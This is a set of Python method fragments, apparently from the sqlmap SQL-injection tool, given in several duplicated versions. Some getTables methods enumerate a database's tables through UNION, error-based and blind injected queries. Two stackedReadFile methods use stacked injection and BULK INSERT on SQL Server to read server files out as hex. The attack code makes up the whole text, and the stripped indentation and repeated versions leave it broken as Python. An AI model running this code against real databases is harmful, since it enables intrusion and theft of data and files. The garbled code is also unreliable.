def getTables(self):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
query = query.replace("%s", db)
value = inject.getValue(query, blind=False)
if not isNoneValue(value):
break
if not isNoneValue(value):
value = filter(None, arrayizeValue(value))
value = [safeSQLIdentificatorNaming(_, True) for _ in value]
kb.data.cachedTables[db] = value
if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3):
_ = query.replace("%s", db)
count = inject.getValue(_, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNoneValue(count):
break
if not isNumPosStrValue(count):
if count != 0:
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in xrange(int(count)):
_ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index
table = inject.getValue(_, inband=False, error=False)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
if not conf.db:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if kb.unionPosition is not None or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False, error=False)
if value:
kb.data.cachedTables[db] = value
if not kb.data.cachedTables and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False)
tables.append(table)
kb.hintValue = table
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%shex" % self.fileTblName
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
# Reference: http://support.microsoft.com/kb/104829
binToHexQuery = """DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = '0123456789ABCDEF'
SET @counter = 1
SET @hexstr = ''
SET @length = (SELECT DATALENGTH(%s) FROM %s)
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
SET @hexstr = ''
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
inject.goStacked(binToHexQuery)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, error=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException(errMsg)
indexRange = getLimitRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
inject.goStacked("DROP TABLE %s" % hexTbl)
return result
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%shex" % self.fileTblName
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
# Reference: http://support.microsoft.com/kb/104829
binToHexQuery = """
DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = '0123456789ABCDEF'
SET @counter = 1
SET @hexstr = ''
SET @length = (SELECT DATALENGTH(%s) FROM %s)
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
SET @hexstr = ''
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
inject.goStacked(binToHexQuery)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False, error=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException(errMsg)
indexRange = getRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
result.append(chunk)
inject.goStacked("DROP TABLE %s" % hexTbl)
return result
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if not conf.db:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
for db in dbs:
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedTables[db] = arrayizeValue(value)
if not kb.data.cachedTables and not conf.direct:
for db in dbs:
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, error=False, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False, error=False)
tables.append(table)
kb.hintValue = table
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if not conf.db:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if isTechniqueAvailable(
PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(
PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
for db in dbs:
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedTables[db] = arrayizeValue(value)
if not kb.data.cachedTables and not conf.direct:
for db in dbs:
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query,
inband=False,
error=False,
charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False, error=False)
tables.append(table)
kb.hintValue = table
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def getTables(self):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if conf.db == "CD":
conf.db = self.getCurrentDb()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False)
if not isNoneValue(value):
kb.data.cachedTables[db] = arrayizeValue(value)
if not kb.data.cachedTables and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, error=False, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in xrange(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False, error=False)
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
